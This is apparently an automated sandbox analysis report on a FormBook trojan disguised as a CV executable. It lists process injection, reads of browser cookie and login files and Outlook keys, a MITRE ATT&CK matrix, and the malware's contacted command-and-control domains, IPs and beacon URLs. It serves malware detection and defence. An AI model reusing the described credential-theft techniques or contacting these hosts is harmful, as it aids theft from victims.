Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\winver.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: NULL target: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: NULL target: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\winver.exe

Thread register set: target process: 8032

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\winver.exe

Thread APC queued: target process: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2FF9008

Jump to behavior

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003BB106 LogonUserW,

0_2_003BB106

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_00383D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00383D19

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003C411C SendInput,keybd_event,

0_2_003C411C

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003C74BB mouse_event,

0_2_003C74BB

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe"	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Process created: C:\Windows\SysWOW64\winver.exe "C:\Windows\SysWOW64\winver.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

0_2_003BA66C

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003C71FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_003C71FA

Source: CV Lic H&S Olivetti Renzo.exe, DIRZUznVUfWlad.exe, 00000005.00000002.4144846532.0000000001220000.00000002.00000001.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000000.1954893043.0000000001220000.00000002.00000001.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000000.2107688041.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: DIRZUznVUfWlad.exe, 00000005.00000002.4144846532.0000000001220000.00000002.00000001.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000000.1954893043.0000000001220000.00000002.00000001.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000000.2107688041.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: CV Lic H&S Olivetti Renzo.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
Source: DIRZUznVUfWlad.exe, 00000005.00000002.4144846532.0000000001220000.00000002.00000001.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000000.1954893043.0000000001220000.00000002.00000001.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000000.2107688041.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: DIRZUznVUfWlad.exe, 00000005.00000002.4144846532.0000000001220000.00000002.00000001.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000000.1954893043.0000000001220000.00000002.00000001.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000000.2107688041.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003A65C4 cpuid

0_2_003A65C4

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003D091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

0_2_003D091D

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003FB340 GetUserNameW,

0_2_003FB340

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003B1E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_003B1E8E

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_0039DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0039DDC0

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4145192791.0000000004BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2031660118.00000000038D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4145128691.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2036469634.0000000004000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2031290785.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4145164327.00000000028E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4143976665.0000000003000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\winver.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: CV Lic H&S Olivetti Renzo.exe	Binary or memory string: WIN_81
Source: CV Lic H&S Olivetti Renzo.exe	Binary or memory string: WIN_XP
Source: CV Lic H&S Olivetti Renzo.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
Source: CV Lic H&S Olivetti Renzo.exe	Binary or memory string: WIN_XPe
Source: CV Lic H&S Olivetti Renzo.exe	Binary or memory string: WIN_VISTA
Source: CV Lic H&S Olivetti Renzo.exe	Binary or memory string: WIN_7
Source: CV Lic H&S Olivetti Renzo.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4145192791.0000000004BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2031660118.00000000038D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4145128691.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2036469634.0000000004000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2031290785.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4145164327.00000000028E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4143976665.0000000003000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003D8C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_003D8C4F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003D923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_003D923B

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CV Lic H&S Olivetti Renzo.exe	71%	ReversingLabs	Win32.Trojan.AutoitInject
CV Lic H&S Olivetti Renzo.exe	73%	Virustotal		Browse
CV Lic H&S Olivetti Renzo.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
www.50food.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.fortevision.xyz/dash/?etx=BXy4elO0X&3vNdCBvX=YMHBudoHIUxH+uWIVKjvQ5iF9tPwkJokcjAI4kujT8yqZMh8PwdCYhUcXF8Hm7NuwJrkm81K0kAXhGwUtx1Q0LUsa6Gef/JbuNbn4M13wkoCvJOzh8OnTqA=	0%	Avira URL Cloud	safe
http://www.rtpterbaruwaktu3.xyz/mv7p/?3vNdCBvX=5Xkb80UCbQYKeySKU05ZgY0hyXkWVD4R8td5rEUSu2Sur2yiMTlgkW/d3b9rVTV1/KKKFkoFavUE13Uu3OCOGKEDCrVhSay3c3WH5ydFiaohW8mA4vlt7iA=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.fortevision.xyz/dash/	0%	Avira URL Cloud	safe
https://parking.reg.ru/script/get_domain_data?domain_name=www.sklad-iq.online&rand=	0%	Avira URL Cloud	safe
https://www.grandesofertas.fun/wu6o/?3vNdCBvX=PAJ2EBywaoPRtAOAuLkHmGqEo3O5GOPxYR74cZ8tmddFXtcUCShy8K	0%	Avira URL Cloud	safe
http://www.sklad-iq.online/gdvz/?3vNdCBvX=42oDQZKHBS2RpvFPN57q1Tvu2doBJ10tXRowK0Gqt433jWsXILGJddh+nwwRXUDcpHF9qTVEG6VDXm2WV9OicxtKtIH3MbSxhASop5ADKNulvt1+Wm0v0/w=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.prhmcjdz.tokyo/cm9a/	0%	Avira URL Cloud	safe
http://www.bpgroup.site/mlxg/?3vNdCBvX=cQzZIkxePH03UbtTShzK+VL4o2HqQJS38l8io/jKjoXZ1YEXRx5ntf5pTkNOcA/fsinJED0Fc0Ua6QV4aMGrbeJFZzqSBCnp1w20sGwly8q3n1+yWGeN50w=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.tals.xyz/cpgr/?3vNdCBvX=yUPZw4O96lKRgUDhHw42lX6F/Rxn05lUVr3HqoHreXe2a6Vc78U2VxoX4VUOXe2AKNSXv9msRJ2q39Y75lzjFijspiVTtXDCDHBic1mdKVGnCgRAN7vlfYA=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.grandesofertas.fun/wu6o/?3vNdCBvX=PAJ2EBywaoPRtAOAuLkHmGqEo3O5GOPxYR74cZ8tmddFXtcUCShy8K9wuzURMr8ccmGJKuqH2xFlcoIZXBvtCvBZNCCQMFI+vTFboLP2ZRmMaANZD1baSXk=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.ytsd88.top/8qt7/?3vNdCBvX=FpCuTMU+yGtduI5SdGSwoaTqY2YvqsELSpRJwwRFNKDd6qo9VMAnWwDYglhkdC4Vi65aP7UQN4CBUilkwxZXjJlaW2N0MrSdIjCq1nBCaRQTsV/7KTtyEyY=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.jijievo.site/z9pi/	0%	Avira URL Cloud	safe
http://www.prhmcjdz.tokyo/cm9a/?etx=BXy4elO0X&3vNdCBvX=AvN42DnS9Qw3kn1S+XKBV+xTI9DBYK88wu7Mj7dY/pRaa7659YJNcYiJunyE7nDkkRGZb81LCaJ1YXfnfuSvqBbKt/3mV1eMDkmtL8V6ExRSF03F7PAG84A=	0%	Avira URL Cloud	safe
http://www.bpgroup.site/mlxg/	0%	Avira URL Cloud	safe
http://www.sklad-iq.online/gdvz/	0%	Avira URL Cloud	safe
http://www.connecty.live/6urf/?3vNdCBvX=l+g0G83zvX30P9FiLKUhk1gZnSMwjxKGmxU2wY32UHo7SRAzM3NVc5Nn4wkj2AVHW/hBkkPychobZjIg4/uR6e8+1gk4cvE7j0i5NK3NPPZTmYTXI7istro=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.nmgzjwh.net/gb2h/	0%	Avira URL Cloud	safe
http://www.tals.xyz/cpgr/	0%	Avira URL Cloud	safe
http://www.zriaraem-skiry.sbs/f8c6/?3vNdCBvX=qZLxeIvUMpnHejM+2fTaZNrv2WO4y9kWVFIDlZeaKgP5Xe4TtN4Ku6PXk96ANpScY+aAYV4Nd0GQ4lG6LSWgsy7m2PREgKHVMtzZClnOVsBz8/E/4iFHS34=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.rtpterbaruwaktu3.xyz/mv7p/	0%	Avira URL Cloud	safe
http://www.50food.com/u9hy/	0%	Avira URL Cloud	safe
http://www.sklad-iq.online	0%	Avira URL Cloud	safe
http://www.nmgzjwh.net/gb2h/?3vNdCBvX=EASy0dFQ3+mIcpYj5hhEpzGwaoMP7Xj9wz6GDDYkBoOZntt4ETpAdTcmLSDA/l8Pq56TjzGqLUU3SQIDrjgXHLAts09AmDfBZWK+en/xOBIa/+jQwvZyXLY=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://narman.com/	0%	Avira URL Cloud	safe
http://www.connecty.live/6urf/	0%	Avira URL Cloud	safe
http://www.ytsd88.top/8qt7/	0%	Avira URL Cloud	safe
http://www.jijievo.site/z9pi/?3vNdCBvX=ied+cptg7UakpzhOx9uXTlAGHDuhbT7ej64IZr/ehzcWgm5THakcORsiVprqoW37b/eRnRq1Qh5X/LbXYJipvFkLuNeVdA8j2seJJxWGnVEyQ8hCuTv0uPE=&etx=BXy4elO0X	0%	Avira URL Cloud	safe
http://www.zriaraem-skiry.sbs/f8c6/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.50food.com	147.255.21.187	true	true	1%, Virustotal, Browse	unknown
all.wjscdn.com	154.90.58.209	true	true		unknown
ymx01.cn	8.210.46.21	true	true		unknown
www.nmgzjwh.net	172.67.168.228	true	true		unknown
www.sklad-iq.online	194.58.112.174	true	true		unknown
www.zriaraem-skiry.sbs	104.21.42.77	true	true		unknown
www.supernutra01.online	172.67.220.36	true	false		unknown
bpgroup.site	74.48.143.82	true	true		unknown
www.connecty.live	203.161.43.228	true	true		unknown
ssl.goentri.com	76.223.74.74	true	true		unknown
www.tals.xyz	13.248.169.48	true	true		unknown
www.ytsd88.top	47.76.213.197	true	false		high
www.fortevision.xyz	13.248.169.48	true	true		unknown
rtpterbaruwaktu3.xyz	103.21.221.87	true	true		unknown
www.bpgroup.site	unknown	unknown	false		unknown
www.grandesofertas.fun	unknown	unknown	false		unknown
www.jijievo.site	unknown	unknown	false		unknown
www.rtpterbaruwaktu3.xyz	unknown	unknown	true		unknown
www.prhmcjdz.tokyo	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.grandesofertas.fun/wu6o/?3vNdCBvX=PAJ2EBywaoPRtAOAuLkHmGqEo3O5GOPxYR74cZ8tmddFXtcUCShy8K9wuzURMr8ccmGJKuqH2xFlcoIZXBvtCvBZNCCQMFI+vTFboLP2ZRmMaANZD1baSXk=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.rtpterbaruwaktu3.xyz/mv7p/?3vNdCBvX=5Xkb80UCbQYKeySKU05ZgY0hyXkWVD4R8td5rEUSu2Sur2yiMTlgkW/d3b9rVTV1/KKKFkoFavUE13Uu3OCOGKEDCrVhSay3c3WH5ydFiaohW8mA4vlt7iA=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.fortevision.xyz/dash/?etx=BXy4elO0X&3vNdCBvX=YMHBudoHIUxH+uWIVKjvQ5iF9tPwkJokcjAI4kujT8yqZMh8PwdCYhUcXF8Hm7NuwJrkm81K0kAXhGwUtx1Q0LUsa6Gef/JbuNbn4M13wkoCvJOzh8OnTqA=	true	Avira URL Cloud: safe	unknown
http://www.tals.xyz/cpgr/?3vNdCBvX=yUPZw4O96lKRgUDhHw42lX6F/Rxn05lUVr3HqoHreXe2a6Vc78U2VxoX4VUOXe2AKNSXv9msRJ2q39Y75lzjFijspiVTtXDCDHBic1mdKVGnCgRAN7vlfYA=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.bpgroup.site/mlxg/?3vNdCBvX=cQzZIkxePH03UbtTShzK+VL4o2HqQJS38l8io/jKjoXZ1YEXRx5ntf5pTkNOcA/fsinJED0Fc0Ua6QV4aMGrbeJFZzqSBCnp1w20sGwly8q3n1+yWGeN50w=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.prhmcjdz.tokyo/cm9a/	true	Avira URL Cloud: safe	unknown
http://www.sklad-iq.online/gdvz/?3vNdCBvX=42oDQZKHBS2RpvFPN57q1Tvu2doBJ10tXRowK0Gqt433jWsXILGJddh+nwwRXUDcpHF9qTVEG6VDXm2WV9OicxtKtIH3MbSxhASop5ADKNulvt1+Wm0v0/w=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.fortevision.xyz/dash/	true	Avira URL Cloud: safe	unknown
http://www.ytsd88.top/8qt7/?3vNdCBvX=FpCuTMU+yGtduI5SdGSwoaTqY2YvqsELSpRJwwRFNKDd6qo9VMAnWwDYglhkdC4Vi65aP7UQN4CBUilkwxZXjJlaW2N0MrSdIjCq1nBCaRQTsV/7KTtyEyY=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.bpgroup.site/mlxg/	true	Avira URL Cloud: safe	unknown
http://www.connecty.live/6urf/?3vNdCBvX=l+g0G83zvX30P9FiLKUhk1gZnSMwjxKGmxU2wY32UHo7SRAzM3NVc5Nn4wkj2AVHW/hBkkPychobZjIg4/uR6e8+1gk4cvE7j0i5NK3NPPZTmYTXI7istro=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.jijievo.site/z9pi/	true	Avira URL Cloud: safe	unknown
http://www.nmgzjwh.net/gb2h/	true	Avira URL Cloud: safe	unknown
http://www.tals.xyz/cpgr/	true	Avira URL Cloud: safe	unknown
http://www.zriaraem-skiry.sbs/f8c6/?3vNdCBvX=qZLxeIvUMpnHejM+2fTaZNrv2WO4y9kWVFIDlZeaKgP5Xe4TtN4Ku6PXk96ANpScY+aAYV4Nd0GQ4lG6LSWgsy7m2PREgKHVMtzZClnOVsBz8/E/4iFHS34=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.sklad-iq.online/gdvz/	true	Avira URL Cloud: safe	unknown
http://www.prhmcjdz.tokyo/cm9a/?etx=BXy4elO0X&3vNdCBvX=AvN42DnS9Qw3kn1S+XKBV+xTI9DBYK88wu7Mj7dY/pRaa7659YJNcYiJunyE7nDkkRGZb81LCaJ1YXfnfuSvqBbKt/3mV1eMDkmtL8V6ExRSF03F7PAG84A=	true	Avira URL Cloud: safe	unknown
http://www.rtpterbaruwaktu3.xyz/mv7p/	true	Avira URL Cloud: safe	unknown
http://www.50food.com/u9hy/	true	Avira URL Cloud: safe	unknown
http://www.nmgzjwh.net/gb2h/?3vNdCBvX=EASy0dFQ3+mIcpYj5hhEpzGwaoMP7Xj9wz6GDDYkBoOZntt4ETpAdTcmLSDA/l8Pq56TjzGqLUU3SQIDrjgXHLAts09AmDfBZWK+en/xOBIa/+jQwvZyXLY=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.connecty.live/6urf/	true	Avira URL Cloud: safe	unknown
http://www.jijievo.site/z9pi/?3vNdCBvX=ied+cptg7UakpzhOx9uXTlAGHDuhbT7ej64IZr/ehzcWgm5THakcORsiVprqoW37b/eRnRq1Qh5X/LbXYJipvFkLuNeVdA8j2seJJxWGnVEyQ8hCuTv0uPE=&etx=BXy4elO0X	true	Avira URL Cloud: safe	unknown
http://www.ytsd88.top/8qt7/	true	Avira URL Cloud: safe	unknown
http://www.zriaraem-skiry.sbs/f8c6/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reg.ru	winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.000000000414C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://parking.reg.ru/script/get_domain_data?domain_name=www.sklad-iq.online&rand=	winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/whois/?check=&dname=www.sklad-iq.online&reg_source=parking_auto	winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.grandesofertas.fun/wu6o/?3vNdCBvX=PAJ2EBywaoPRtAOAuLkHmGqEo3O5GOPxYR74cZ8tmddFXtcUCShy8K	winver.exe, 00000006.00000002.4146215002.00000000059C4000.00000004.10000000.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.0000000002E74000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2341761570.000000003EA84000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/domain/new/?utm_source=www.sklad-iq.online&utm_medium=parking&utm_campaign=s_land	winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bt.cn/?from=404	winver.exe, 00000006.00000002.4146215002.0000000005CE8000.00000004.10000000.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.0000000003198000.00000004.00000001.00040000.00000000.sdmp	false		high
